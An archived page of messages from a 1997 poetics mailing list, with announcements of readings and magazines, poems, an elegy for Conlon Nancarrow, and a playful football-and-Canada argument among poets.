http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

383. Charles Alexander
signed book
Mon 18 Aug 1997

Dear Mark

Yes please send me that signed book back. I'll send you another. I have to take better care of what gets on the bookshelves around here.

As to talking about design, or anything else, about that and other books, yes, let's do it.

This week I'm likely to be in the studio from 9am or so (I think we're in the same time zone as you until daylight savings time exits the scene, and then we're an hour later than you, as Arizona never changes for the daylight savings) until nearly 2pm. Then on some of these days I'll be picking up Kate (school started today), and on other days I'll be staying later at the studio. Most nights we're home. I know you have both numbers, but here, anyway --

[redacted] studio
[redacted] home

take care,

charles

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384. john_lavagnino
Re: two solutions (& other anecdotage)
Mon 18 Aug 1997

David Israel quoted the News of the Weird:

> ** In April, Sir Roger Penrose, a British math professor who has worked with Stephen Hawking on such topics as relativity, black holes, and whether time has a beginning, filed a copyright-infringement lawsuit against the Kimberly-Clark Corporation, which Penrose said copied a pattern he created (a pattern demonstrating that "a nonrepeating pattern could exist in nature") for its Kleenex quilted toilet paper. Penrose said he doesn't like litigation but, "When it comes to the population of Great Britain being invited by a multinational to wipe their bottoms on what appears to be the work of a Knight of the Realm, then a last stand must be taken."*

Good as it is, this last bit appears to have been the utterance of Penrose's lawyer, not Penrose himself, according to other news stories.

I am sorry to report that this toilet paper is not sold in the United States. I would be interested in talking with anyone who's going to the UK soon and has large amounts of free space in their luggage.

John

↑ Index

385. **Judy Roitman**
Re: two solutions (& other anecdotage)
Mon 18 Aug 1997

> *David Israel quoted the News of the Weird:*
>
> ** In April, Sir Roger Penrose, a British math professor who has worked with Stephen Hawking on such topics as relativity, black holes, and whether time has a beginning, filed a copyright-infringement lawsuit against the Kimberly-Clark Corporation, which Penrose said copied a pattern he created (a pattern demonstrating that "a nonrepeating pattern could exist in nature") for its Kleenex quilted toilet paper. Penrose said he doesn't like litigation but, "When it comes to the population of Great Britain being invited by a multinational to wipe their bottoms on what appears to be the work of a Knight of the Realm, then a last stand must be taken."*
>
> *Good as it is, this last bit appears to have been the utterance of Penrose's lawyer, not Penrose himself, according to other news stories.*
>
> *I am sorry to report that this toilet paper is not sold in the United States. I would be interested in talking with anyone who's going to the UK soon and has large amounts of free space in their luggage.*
>
> *John*

Here's why Penrose tilings are neat. The shapes look very simple and natural, it is not at all obvious just glancing at a Penrose tiling that it is deeply strange.

But there is no need to go to England. You can make your own Penrose tiling toilet paper, wallhanging, etc. --- Penrose tilings have been written up in places like Discover, Scientific American, etc.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----

http://titania.math.ukans.edu/faculty/roitman/

↑ Index

386. **KENT JOHNSON**
football encased in light
Mon 18 Aug 1997

George: I don't want to take up space that otherwise would be taken up with the discussion about poems (or, more importantly, with actually true to life poems separate from the talking about them), but I just have to ask: How do you know that Keats and Shelley would not have wanted to go to football games? There are lots of boys there at football games (at least in the American kind--I don't know about the fake CFL, even though I was invited once to try out for the Edmonton Argonauts), who pat each other lovingly on the behind. Kent

> *I just wanted to say that I put in a little post last night and it didn't go through. It was in response to Charles Alexander's stunning image of George Bowering encased in light. I said in that post that this was one of the most beautiful images I had ever laid eyes upon, whatever that means. I just wanted for the record to say this again. And also to say to George that I actually played minor league ball too, though it was football--semi-pro, about $100 per game back in the early 80's for the Waukesha Hawks. Does that count?*
> *Kent*
>
> *I dont know. I guess i can see that people can love playing football, and I remember the first time I saw it, age 17, in Victoria down from the sticks, it seemed a neat magic game. In the 50s and 60s i went to some football games, and even later saw some on TV, but the longer I have looked the less interesting I have found football, and the NFL on TV is just, agh, I cant be bothered. I know that Shelley and Keats wouldnt have gone to a foo'ball game, but they would have gone to baseball games, as for instance the Venice Hawks vs. the Trieste Red Sox.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*

> *fax:* [redacted]

↑ Index

387. Rachel Levitsky
Re: football encased in reverance
Mon 18 Aug 1997

alright now I'm going out on a limb here like on mt sinai and the kids coming up told us kids coming down that thurmon munson had died and larry was going crazy with grief and i thought he couldn't be serious and he nearly punched me. so i know i don't know what you guys are going crazy about and i don't want to insult anyone cause i am the kind of gal that guys might be provoked to punch but if you would, could you bring it to a level that would be enjoyable for those of us that are used to other forms of contact?

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388. George Bowering
Re: football encased in light
Mon 18 Aug 1997

I was invited once to try out for the Edmonton
>Argonauts), who pat each other lovingly on the behind.
>Kent

Well, there is a team called the Edmonton Eskimos and a team called the Toronto Argonauts. It happens that they are right now each in first place in their divisions.

I think you should have muscled up and gone to the Washington Steelers camp, Kent.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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389. **R. Gancie**
mediocrity
Mon 18 Aug 1997

Karen M. Sorry you missed the discussion. It was posted on the Poetics sight; but it was also posted on 300 other poetry, literature, philosophy and philosophy of science sites. We opened with a discussion of the post-Lowell confessional school with a focus on the critical works of Charles Altieri. However, Joe Brennan participated in the discussion and we eventually moved into a scrap about L=A=N=G=U=A=G=E poetry. As I tried to move the discussion toward the dominance of the scientific paradigm, we wound up talking about the phenomenonology of Husserl and Natorp, Wittgenstein, the Vienna Circle and the Frankfurt School---among other things. At one point, half the chat was on Freud and Lacan and the other half on the potential of modernist poetics to critique the scientific-technological paradigm. I still have a headache. Needless to say such a discussion in the chat format is hard to economize. We plan to do it again and hope to have our mechanics down better next time.---Carlo Parcelli

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390. **Joseph Zitt**
John Cage Event September 5th in Maryland
Mon 18 Aug 1997

JOHN CAGE CELEBRATION TO BE HELD IN MARYLAND SEPTEMBER 5TH

"AtlantiCage Ninety-seven^85: A Birthday Circus for John Cage" will be presented on September 5th, 1997 at 8 PM at the Tawes Fine Arts building on the campus of the University of Maryland at College Park. The event is free and open to the public.

The celebration, organized by members of "Silence: The John Cage Internet Mailing List", will include performances and reading of works by Cage, as well as performances inspired by his work and life. In keeping with his principles of peaceful anarchism, the event will include simultaneous performances of different works, as well as related visual and sound events. It is presented as part of the worldwide "Freedom Summer" series in conjunction with the Pauline Oliveros Foundation.

The event will begin on the brick stage on the north side of Tawes Theater (to the left of the theatre as you face it) with a Tuning Meditation, followed by a listening walk through the area, arriving at Room 2102 of the Tawes Fine Arts Building where the rest of the events will occur.

Bring yourself and an open ear. If you'd like to contribute to the reception afterwards, food donations are appreciated.

Contacts: Matthew Ross Davis <[redacted]>
Tom Bickley <[redacted]>
Joseph Zitt <[redacted]>
Silence: The John Cage Internet Mailing List:
http://www.realtime.net/~jzitt/Cage

Directions:

Maps:
For the official map, see the University web page at
http://www.inform.umd.edu/CampusInfo/About_UMCP/Maps/ and click on
the Southwest Quadrant.
For alternate directions, see
http://www.inform.umd.edu/CVS/.CVS/gettingtocampus.html

By Car: The University of Maryland sits right in the corner of the intersection of 193 (University Blvd.) and Adelphi Rd. From either direction on 495, take the College Park exit (Rt. 1 south) and head south on Rt. 1 through several traffic lights. After a few miles, you will see signs for 193 west, which will be a right exit down a ramp. Take this exit, continue west through one traffic light. The next traffic light will be Campus Drive, on which you will turn left and enter the campus. Stay to your right, going through the traffic circle and keeping to your right. You will go between the construction for the Maryland Center for the Performing Arts on your right, and a huge parking garage (behind which is the stadium) on your left. Soon, you'll reach a second traffic circle, through which you pass, still staying to the right and going straight. A soccer field will be on your right, and the next stop sign you get to, turn left. The large parking lot that is now to your right is Lot 1, and Tawes Theatre looks west across it. Park in Lot 1 (it's open to visitors without a permit after 4 PM on weekdays), and walk towards the theatre, and you should see us gathering out on a brick stage in a small courtyard next to the theatre entrance. The main building entrance is actually on the opposite side of the building, and the room for the performance (2102) is on the second floor.

By Public Transportation: The College Park Metro is not really within walking distance of Tawes; there are shuttles that run from the station to campus, or you can take a cab. Tawes is at least a mile or two from the Metro station. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Maryland? ================= SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt ========== <*> <*> ========= ecto \|

↑ Index

391. Wystan Curnow
uk visit
Tue 19 Aug 1997

Calling all UK poetics people!

Am hoping to be in London in October, and would welcome suggestions as to readings, events, exhibitions, accomodation.

Wystan

↑ Index

392. George Bowering
Re: football encased in reverance
Tue 19 Aug 1997

> *if you would, could you*
> *bring it to a level that would be enjoyable for those of us that are*
> *used to other forms of contact?*

Interesting choice of word, Rachel. Now, while we are speaking of levels, we have to speak of higher and lower, dont we? When you say "bring it to a level", do you mean raise it to a higher level, by any chance? Now, in the study of language usage, that is called "begging the question," i.e. in this case pretending that we agree that a disagreement about the value of football is necessarily on a lower level than something that can be "enjoyed" by others. Unless you meant, which I doubt, that you wanted something at a lower level....

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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393. Rachel Levitsky
Re: Left Hand Reading Series, Boulder, CO
Tue 19 Aug 2008

ATTENTION POETS/ACTIVISTS!!

Rachel Levitsky and Matt Meighan (2 subscribers) are currently organizing the 1997/98 Literary Segment of the Left Hand Reading Series in Boulder, Colorado.

There are still some slots unfilled for the readings January through April, 1998. Because we cannot pay poets (though can bring them the attention of a sizable audience, and a well-promoted event) we are dependent on the poet's proximity to us. If you or a poet you know lives in the area, or will be in the Denver/Boulder area during that time and would like to read please contact us:

Rachel Levitsky -- [redacted]
Matt Meighan -- [redacted]

Also, writers who are interested in being featured reader can send work
to: Rachel Levitsky
LHRS
P.O. 1771
Boulder, CO 80306-1771

MORE READING SERIES INFORMATION The Reading Series is a program of the Left Hand Book Collective, an all volunteer run radical left bookstore. The series was begun last year and was a huge success. Writers Rikki Ducornet, Dennis Brutus, Akilah Oliver, Andrew Schelling, Carolyn Wright, Ward Churchill, Bunky Echo Hawk, Max Regan, Shira Segal, Geri Lynn Baumblatt, Sarah Skaggs, Stephanie Williams and others read to enthusiastic audiences. Each reading features an open segment and two featured readers, one emerging writer and one established writer. We are committed to promoting work that might otherwise be marginalized, and make a special effort to reach out to young writers, writers of color, writers of diverse economic and social backgrounds and to writers of daring and innovative forms. We see no separation between art and politics.

The Left Hand Book Collective is
located in downtown Boulder at:

1825 Pearl Street
Boulder, CO 80302
Phone--[redacted]

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394. **Rachel Levitsky**
Re: football encased in reverance
Tue 19 Aug 2008

George,

My mistake, the word I was looking for was "dimension" as in "could you bring it into a dimension. . ."

begging forgiveness,

Rachel

Rachel

↑ Index

395. Henry G
M. Epshtein book
Tue 19 Aug 1997

Simon, for some reason I couldn't backchannel the info - the message bounced. Problem with your address? So forgive me poetics, perhaps others would also like this biblio info. The book is:

Epshtein, Mikhail
After the future : the paradoxes of postmodernism in contemporary Russian culture
Univ. of Massachusetts Press, 1995
isbn 0870239732
0870239740 (pbk)

- Henry Gould

↑ Index

396. Stephen C. Ellwood
unsubscribe
Tue 19 Aug 1997

I am leaving the list, going away to school. Could someone tell me again how to unsubscribe?

EVD

↑ Index

397. Daniel Bouchard
en route to Mass Ave.
Tue 19 Aug 1997

Thrilled to announce publication of the third issue of MASS AVE.

The featured poets:

Michael Angelo Tata
Andrew Levy
Sherry Brennan
Kyle Conner
Jennifer Moxley

Fred Muratori
Kary Wayson
Robert Fitterman
Ethel Rackin
Kim Bernstein
Juliana Spahr

57 pages, perfect bound. $6 postage paid.

Also, the Second Issue is still available; featuring

Valerie Hanson
Lisa Jarnot
Marcella Durand
Eileen Corder
Anselm Berrigan
Nava Fader
Larry Price
Dan Luft
Douglas Rothschild
Mary Burger
Drew Gardner
Dave Baptiste Chirot
Daniel Bouchard
Kevin Varrone
WB Keckler
Kim Lyons

56 pages, perfect bound. $6 postage paid.

Get BOTH issues for the bargain price of $10.

Daniel Bouchard
Mass Ave.
PO Box 230
Boston, MA 02117

Thank you. You're beautiful.

↑ Index

398. **Henry Gould**
RI reading advance
Tue 19 Aug 1997

Upcoming reading in Rhode Island - first in the Poetry Mission's fall series at Native Gallery:

Cathleen Calbert & Daniel Bouchard will read on Friday, Sept 12th at 8 pm at Native Gallery, 387 Charles St, Providence. Just off Route 95; call [redacted] for directions. Free; refreshments. Come, & bring your friends in their thousands.

Cathleen Calbert's new book, LESSONS IN SPACE, just publ. by Univ. of Florida Press.

Daniel Bouchard edits MASS AVE. and is a decorated veteran of the poetics list.

Book & magazine & other poetry mission stuff available at the reading.

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399. **minkacroy**
How do I get on/off this list
Tue 19 Aug 1997

How do I get on & off this list, thank you.
[redacted]

↑ Index

400. **Lawrence Upton**
unsubscribe
Tue 19 Aug 1997

<<I am leaving the list, going away to school. Could someone tell me again how to unsubscribe?>>

quote _You may leave the list at any time by sending a "SIGNOFF POETICS" command
to [redacted]._

L

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401. Alan Jen Sondheim
now you'll hate me
Tue 19 Aug 1997

now you'll hate me but I'm on a trip, now in Pittsburg on the way to everywhere, so, well, this came out, ahem, definitely the work, ah, of a beginner, someone reading, whom, maybe even Blackburn played a role here, certain not the language poets, Rachel got me to read some Jane Miller standing up in a bookstore, well, I did that on my own, but now going through Lacan who's not much help here either, so now you'll hate me because this is just too weird because just too too ordinary

---

Plural Dark Angels of the Night

You came to me like plural dark angels of the night. I was about to compose a brilliant text on the density of my language. I began thinking of your brilliant arrival a month ago, like plural dark angels of the night. My language dissolved like sloppy seconds at my feet (I'm not gonna have no feet). I wanted to reply about this, the nature of language and brilliant feet. I wanted to write about languages interspersed, interpenetrated in this machine, languages and information everywhere, like plural dark angels of the brilliant sloppy night. I thought of our arms like grapple-hooks around each other. Language clattered like a bowl of boiling coffee spilled on my feet. I thought of our teeth against brilliant skin confused with passion like plural dark angels of the night. There was something else I wanted to write; I thought of your brilliant eyes. I wanted to write about your eyes; I thought of your brilliant mouth, your limbs. I thought about the feet of the plural dark angels of the night. I thought, I thought. I thought, brilliant, you know where this is going so I'm not gonna write no more.

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402. KENT JOHNSON
Re: football encased in light
Tue 19 Aug 1997

(Something along these lines went out to the list two days ago, but my reply function seems to only work about half the time. I have my pride, so i'm typing it again, leaving out some of the potentially volatile language from the original. Kent)

George: You think you flame me. But the invitation to the pre-season camp from Edmonton was many years ago, and the fact is I just don't give a damn about

Canadian football, since it is such a sorry state of affairs. You Canadians are pretty pathetic: You still haven't really rid yourselves of the Queen, and then like cowbirds you take up football and then baseball, and then all of a sudden you think you can tell true past players of these games what the score is. Eskimos or Argonauts, who gives a shit? They are both really stupid names anyway, almost as stupid as "Maple Leafs," which is a really silly name. I meant to say Eskimos and I said Argonauts. So what George? I was cut after a couple weeks, but this was only because of the receiver coach who felt I was too light to play tight end and too heavy to play wide-out. He was a CAnadian, boring and affable on the outside, scheming and manipulative on the inside. So what sport do you play, George? Curling? Don't mess with me. Kent

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403. Red Slider
Re: football encased in light
Tue 19 Aug 1997

From: KENT JOHNSON[SMTP:[redacted]]
Sent: Tuesday, August 19, 1997 8:16 PM
To: [redacted]
Subject: Re: football encased in light

'xcusa please but i'm new in these parts and don't know if Kent (or george) is hero or hormone in these woods, but is that stuff down below in the bilge supposed to be poetry? or what? Makes Bukowski look positively experimental - I mean, avant-marginal, or front-fender febrile or sumpin'. Sure hope this isn't the list light from Buffalo land.

red.

>George:
You think you flame me. But the invitation to the pre-season camp from Edmonton was many years ago, and the fact is I just don't give a damn about Canadian football, since it is such a sorry state of affairs. You Canadians are pretty pathetic: You still haven't really rid yourselves of the Queen, and then like cowbirds you take up football and then baseball, and then all of a sudden you think you can tell true past players of these games what the score is. Eskimos or Argonauts, who gives a shit? They are both really stupid names anyway, almost as stupid as "Maple Leafs," which is a really silly name. I meant to say Eskimos and I said Argonauts. So what George? I was cut after a couple weeks, but this was only because of the receiver coach who felt I was too light to play tight end and too

heavy to play wide-out. He was a CAnadian, boring and affable on the outside, scheming and manipulative on the inside. So what sport do you play, George? Curling? Don't mess with me.
Kent<

↑ Index

404. KENT JOHNSON
football encased in reverance
Tue 19 Aug 1997

(And I'd also sent this out too, which I kind of like, so here goes again. Kent)

Rachel: I don't know you, but after reading your post, no one, but no one who cares about sports could ever want to punch you, whether you're taht kind of gal, as you say, or not. Oh Munson's name being whispered to you by a kid on Mt. Sinai, you going down toward the river, with the scent of the olive tree in your hair, Rachel, Munson barely visible against the olive a little bit up the hill, lashed to it, six or seven arrows in his side, staring ecstatically out at the world. It's so beautiful, that none of those who see can believe it. And then out of nowhere comes George Bowering, rolling downhill in a circle, going faster and faster, like a bagel. Kent

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405. Tom Orange
paul auster
Wed 20 Aug 1997

hey there, can anyone confirm for me if the paul auster of /new york trilogy/ and /smoke/ fame is the same one who translated mallarme's /tomb for anatole/ for north point press a while back?

mastering the trivial,
tom.

↑ Index

406. Rachel Levitsky
Re: football encased in reverance
Tue 19 Aug 2008

Oh Kent oh Kent oh there you go oh there I go I say Sinai and it could be Masada, I mean all of those characters! And all that sport yes I feel it, am getting the feel for it, I mean him I’m there and I see it I finally see it, it just took some pointing out. I am entering the Other dimension and there, from the other side, from the snake path or snake pit, comes another oh yes yes it’s

Kevin Kostner and they are rolling yes they are rolling as a doughnut as a bauble as...WAIT A MINUTE, JUST WAIT A MINUTE. Oh Kent, will they? Will they ever meet?

KENT JOHNSON wrote:
>
> (And I'd also sent this out too, which I kind of like, so here goes
> again. Kent)
>
> Rachel:
> I don't know you, but after reading your post, no one, but no one
> who cares about sports could ever want to punch you, whether you're
> taht kind of gal, as you say, or not. Oh Munson's name being
> whispered to you by a kid on Mt. Sinai, you going down toward the
> river, with the scent of the olive tree in your hair, Rachel, Munson
> barely visible against the olive a little bit up the hill, lashed to
> it, six or seven arrows in his side, staring ecstatically out at the
> world. It's so beautiful, that none of those who see can believe
> it. And then out of nowhere comes George Bowering, rolling
> downhill in a circle, going faster and faster, like a bagel.
> Kent

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407. Matt Kirschenbaum
Re: paul auster
Wed 20 Aug 1997

It's the same Paul Auster. He discusses this translation during his linebreak interview: http://writing.upenn.edu/epc/linebreak/

--Matt

> *hey there, can anyone confirm for me if the paul auster of /new york trilogy/ and /smoke/ fame is the same one who translated mallarme's /tomb for anatole/ for north point press a while back?*
>
> *mastering the trivial,*
> *tom.*

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH

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408. George Bowering
Re: football encased in light
Wed 20 Aug 1997

> *(Something along these lines went out to the list two days ago, but my reply function seems to only work about half the time. I have my pride, so i'm typing it again, leaving out some of the potentially volatile language from the original. Kent)*
>
> *George:*
> *You think you flame me. But the invitation to the pre-season camp from Edmonton was many years ago, and the fact is I just don't give a damn about Canadian football, since it is such a sorry state of affairs. You Canadians are pretty pathetic: You still haven't really rid yourselves of the Queen, and then like cowbirds you take up football and then baseball, and then all of a sudden you think you can tell true past players of these games what the score is. Eskimos or Argonauts, who gives a shit? They are both really stupid names anyway, almost as stupid as "Maple Leafs," which is a really silly name. I meant to say Eskimos and I said Argonauts. So what George? I was cut after a couple weeks, but this was only because of the receiver coach who felt I was too light to play tight end and too heavy to play wide-out. He was a CAnadian, boring and affable on the outside, scheming and manipulative on the inside. So what sport do you play, George? Curling? Don't mess with me.*
> *Kent*

Kent, what is wrong with you? Why are you so pissed off? I never tried to flame you. If you were serious with your question, I play fastball, a version of softball that is more exciting than that slo-pitch game they play south of the border, and related to baseball, a game they were playing in Ontario in 1836. Oh, and the first football game was played in Kingston, Ont.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

409. Red Slider
Re: Elegy for Conlon Nancarrow
Wed 20 Aug 1997

>----------
From: Ira Lightman[SMTP:[redacted]]
Sent: Wednesday, August 20, 1997 10:36 AM
To: [redacted]
Subject: Elegy for Conlon Nancarrow<

[snip]
I would not even attempt to imitate by reposting.

Ach, I throw away my metranome It is useless to me
now I smash it to bits I give my obnoxious bag of notes to a begger with no
throat I will hum down the street, applauding.

thanx, i think - red.

↑ Index

410. Ira Lightman
Elegy for Conlon Nancarrow
Wed 20 Aug 1997

A word of mourning from me:

I was just thinking of Nancarrow the week before he
died, drawing inspiration from his piece - is it "x" or
"zeugma"? - where the "left hand" of the player piano starts
playing very slowly, ascending and speeding up and the
"right hand" plays ludicrously quickly, descending and
slowing down. They meet in the middle and cross and finish
at their far extremes. It is a piece of such simple audacity
that it delights anyone I know, pop or classical or
whatever their musical tastes. I was writing a libretto
for a piece by MIke Higgins - the score of Bach's first
Prelude from the Well Tempered Clavier played upside down,
hence "I edulerp" (Prelude I) as the title and I
used a poem of two-word lines with the ultimate
line read first, then the first, then the penultimate,
then the second, and so on, crossing in the middle.
The columns should work separately and together. The theme
was a Gaia of Gaia's: just as all life and the planet
may be one organism, so may all its history also make
a gaia. It seems to strike by fluke a note of eternity,

the fields Beckett describes in Stirrings Still, which honour life and see some hope in death, so I'll offer it in memory of Nancarrow:

I EDULERP

beyond

one great

hand in

great great

hand one's

great great

grand great

great grand

last long

one's hand

first this

in hand

grass of

one first

straw this

one last

garden

one past

garden

one come to pass

garden

this time

meta

is grass

garden

and vine

hand and

out lasts
garden
this straw
time less
and wine
time in
this time
garden
is time
wine one
in hand
straw as
one grand
last one
in grand
first is
gaia's
time less
gaia
time now
is time
wine is
less time
vine the
meta
eternity
time met
eternity's
a time
right in

one great
right the
great great
hand in
great great
hand time's
great grand
grand great
time's hand
great great
in hand
great great
the right
great one
in right
time a
eternity's
met time
eternity
meta
the vine
time less
is wine
time is
now time
gaia
less time
gaia's
is first
grand in

one last
grand one
as straw
hand in
one wine
time is
garden
time this
in time
wine and
less time
straw this
garden
lasts out
and hand
vine and
garden
grass is
meta
time this
garden
pass to come one
garden
past one
garden
last one
this straw
first one
of grass
hand in

this first

hand one's

long last

grand great

great grand

great great

one's hand

great great

in hand

great the

beyond

On Tue, 12 Aug 1997 07:28:47 -0800 Herb Levy wrote:

> From: Herb Levy <[redacted]>
> Date: Tue, 12 Aug 1997 07:28:47 -0800
> Subject: Conlon Nancarrow
> To: [redacted]
>
> I just returned home from the east coast to find a message on my answering
> machine from Trimpin saying that Conlon Nancarrow died over the weekend in
> Mexico City. Nancarrow would have been 85 in October.
>
> The American expatriate composer was best known for his series of studies
> for player piano, composed and hand-punched on a custom machine, the medium
> in which he worked valmost exclusively for much of the last fifty years.
> These works were really wonderful extensions of the sound world of the
> piano timbrally altered by extremes of tempo, tempo ratios, and unusual
> canonic structures. His few works for live performers (either early works
> composed before Nancarrow began focusing on player piano or quite recent

> pieces commissioned by performers & ensembles like Ursula Oppens & Arditti
> Quartet) have been more rarely heard.
>
> All but the three most recently completed of Nancarrow's Studies for Player
> Piano are recorded on Wergo, his other works have been recorded by Arditti
> Quartet, Ursula Oppens, Continuum, Joanna MacGregor, and others. In 1995,
> Cambridge University Press published a book length study of his work by
> Kyle Gann.
>
>
> Herb Levy
> [redacted]

↑ Index

411. **Ryan Whyte**
Amerika
Wed 20 Aug 1997

Hi folks.

I'm writing an hallucinatory extension to Kafka's _The Man who Disappeared_; the first chapter is up at

http://www.freenet.edmonton.ab.ca/~rwhyte/amer.html

I should have more up later this week.

Thanks for your time -

Ryan

==========
[redacted]

↑ Index

412. **aerialedge**
Re: paul auster/ davidson/debord
Wed 20 Aug 1997

Exact Change has just published Auster's _Translations_ ($16.95) including Tomb for Anatole, as well as Joubert, Andre Dubouchet, & Philippe Petit. I

believe Anatole was originally published by North Point. Also, if you don't know it Auster's anthology _The Random House Book of Twentieth Century French Poetry_ is well worth getting, I believe it's still in print.

While we're talking just published Michael Davidson's U. Cal. tome _Ghostlier Demarcations: Modern Poetry and the Material World_ ($35) is just out. Discusses Stein, Oppen, Howe, Pound, Olson, Zukofsky, Rukeyser, Reznikoff, Duncan, &&&.

Also new & excitin': _Guy Debord -- Revolutionary: A Critical Biography_ ($14.95) by Len Bracken. It's not that critical (of Debord) but neither am I. Way recommended.

All of these will be on next Bridge Street list but ya'll kin order'm now if ya needta.

--Rod

↑ Index

413. **p. durgin**

Ad infinitum

Wed 20 Aug 1997

PREFACE TO A CASE OF AD INFINITUM

The peasants are revolting The pious
Bleating of Feckless roup Leaping into
The heaping Bargain
Who is not On so holy A sooth feast
A victory call
Was a clarinet A question of legions
The market will bear
The lumbering
Yer slit don't shrink It is almost

Bleeding But malakin
Inly epoch

-- Patrick Durgin --

I[I]I [redacted] I[I]I

↑ Index

414. Joel Kuszai
SPD's new address
Wed 20 Aug 1997

FYI

SPD is MOVING

(from 1814 San Pablo Avenue, Berkeley CA 94702)

effective 1 September 1997
our new address & phone/fax is:

SPD / Small Press Distribution, Inc
1341 Seventh Street
Berkeley CA 94702

new telephone
[redacted]

new fax
[redacted]

same toll-free orders
[redacted]

same e-mail
[redacted]

Keep in touch!

↑ Index

415. Red Slider
Yes, but what does it do?
Wed 20 Aug 1997

As this fellow once said to me, "The hell with the pansies, what can you do with it?"

Well, my 'test market' reports to me that he's had a 40% boost in sales (for the one or two cynics in this group, I don't doubt that he drives a Mercedes, long ago paid his mortgage and has his sere threads done by the comely seamstress with the magical fingers - not that she'd ever given me the nod, but then I only brought in my pants cuffs to be taken up) - nevertheless, its nice to be published by the world.

The following work and its companion are released by the author, Red Slider, to the Public Domain and all rights hereby relinquished. It is the author's desire

that persons who should encounter a street-poet, down on their luck, should give them a copy and let them know they may use it as they see fit.

(var. 1)

If he comes,
no matter how -
as victim, as perpetrator,
with misfortune and woe
or con and rube,
with a shill for an eye,
he's a bum, if he comes
that way; and you may
still offer to do the thing,
to offer him some
if he comes that way

but if he should
hold out a poem,
no matter the verse,
poor or magnificent
doggerel or worse,
he's a working man -
a hard-working man.
Give him his due,
pay him his wage,
a fair wage
for a hard-working man.

(var. 2)

If she comes,
no matter how -
as victim, as perpetrator,
with misfortune and woe
or con and rube,
with a shill for an eye,
she's a bum, if she comes
that way; and you may
still offer to do the thing,
to offer her some
if she comes that way

but if she should
hold out a poem,
no matter the verse,

poor or magnificent
doggerel or worse,
she's a workin' woman -
a hard-workin' woman.
Give her what's due,
pay her the wage,
a fair wage
for a hard-workin' woman.

Put in the Public Domain
August 19, 1997
by Red Slider.
no rights reserved.

↑ Index

416. **Charles Alexander**
Re: what flames, where?
Wed 20 Aug 1997

> *Btw, when you wrote that you didnt give a damn abt canadian things, I was really hoping the text was going to say "rats ass." "I dont give a rats ass about canadian things." Am i the only listling who prefers "rats ass" to "damn"? David*

I prefer rats ass to David's old damn flames
ass rats prefer David to flame I damn old
David prefers I to old damn flames rats ass
to old David flames prefer I damn rats ass
to old I David rats damn ass prefer flames
David, old flame, I prefer rats ass to damn
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

↑ Index

417. **Daniel Bouchard**
Re: what flames, where?
Wed 20 Aug 1997

David,

I prefer rats ass but only to canadian bacon. I prefer rats ass flamed.

[redacted]

↑ Index

418. David Israel
Re: what flames, where?
Wed 20 Aug 1997

David Bromige now turns to favored forms of expressing umbrage (or disinterest at least) -- saying to Kent Johnson,

<< Btw, when you wrote that you didnt give a damn abt canadian things, I was really hoping the text was going to say "rats ass." "I dont give a rats ass about canadian things." Am i the only listling who prefers "rats ass" to "damn"? >>

I won't personally weigh in in favor of rat's ass; somehow (notwithstanding the agreeable hint of the archaic), the presumed appeal of this locution eludes me at present.

What other forms of not-caring -- what rhetoric of i-cd-care-less -- are prevalent, rare, favored, or even of-the-moment?

I've somewhat admired
> I don't give a flying fuck . . . <

(though will not admit to having used the expression much meself).

One feels certain that this redoubtable roster must have up its collective sleeves many more (& better) alternatives, neh?

d.i.

↑ Index

419. David Bromige
what flames, where?
Wed 20 Aug 1997

Kent, that wasnt flaming (unless george back channeled you). George wouldnt flame a fly. Thats just George's notion of good fun & friendliness. Honest. We've all put up with that for decades. When you meet soneone as developmentally challenged as George Bowering, you only encourage him, because its just great that he can interact at all, after all those years growing up in the desert.

Btw, when you wrote that you didnt give a damn abt canadian things, I was really hoping the text was going to say "rats ass." "I dont give a rats ass about canadian things." Am i the only listling who prefers "rats ass" to "damn"? David

↑ Index

420. David Kellogg
Re: what flames, where?
Wed 20 Aug 1997

David Bromige wrote:

> *Btw, when you wrote that you didnt give a damn abt canadian things, I was really hoping the text was going to say "rats ass." "I dont give a rats ass about canadian things." Am i the only listling who prefers "rats ass" to "damn"? David*

No. I too prefer it. In fact, rats ass is best flamed (or broiled).

Cheers,
David
~~~
~~~

↑ Index

422. Daniel Zimmerman
Re: what flames, where?
Wed 20 Aug 1997

Charles Alexander wrote:
>
> >Btw, when you wrote that you didnt give a damn abt canadian things, I was
> >really hoping the text was going to say "rats ass." "I dont give a rats ass
> >about canadian things." Am i the only listling who prefers "rats ass" to
> >"damn"? David
>
> I prefer rats ass to David's old damn flames
> ass rats prefer David to flame I damn old
> David prefers I to old damn flames rats ass
> to old David flames prefer I damn rats ass
> to old I David rats damn ass prefer flames
> David, old flame, I prefer rats ass to damn
> chax press :: alexander writing/design/publishing
> books by artists' hands :: web sites built with care and vision
> handmade and trade editions of contemporary innovative writing
> [redacted] :: http://personal.riverusers.com/~chax/

I like Ed Sanders' "I don't give a pound of mule mucus," though I rarely quote it. Always wondered how one would collect it...

Dan Zimmerman

↑ Index

423. KENT JOHNSON
oh canada
Wed 20 Aug 1997

Whoa. Is it me? Am I actually the one missing double entendres in the last posts, letting me know, ever so subtly, that every one is kosher and just playing back with moi? Well, I have to admit, listers, that I am more confused than I even normally am. George and David (the Canadians) and even a few Americans (among the very few Americans on this list) seem to have taken me awrongs. In fact, this is very interesting, and I'd like to propose it is worth at least a new and separate thread (tho I doubt it would come to that). Is it possible, really, that such intelligent people could have thought that my football post to George was seriously meant? That I actually thought he was trying to "flame" me with his previous post? I have to say, this seems very similar to Sokal all over again,

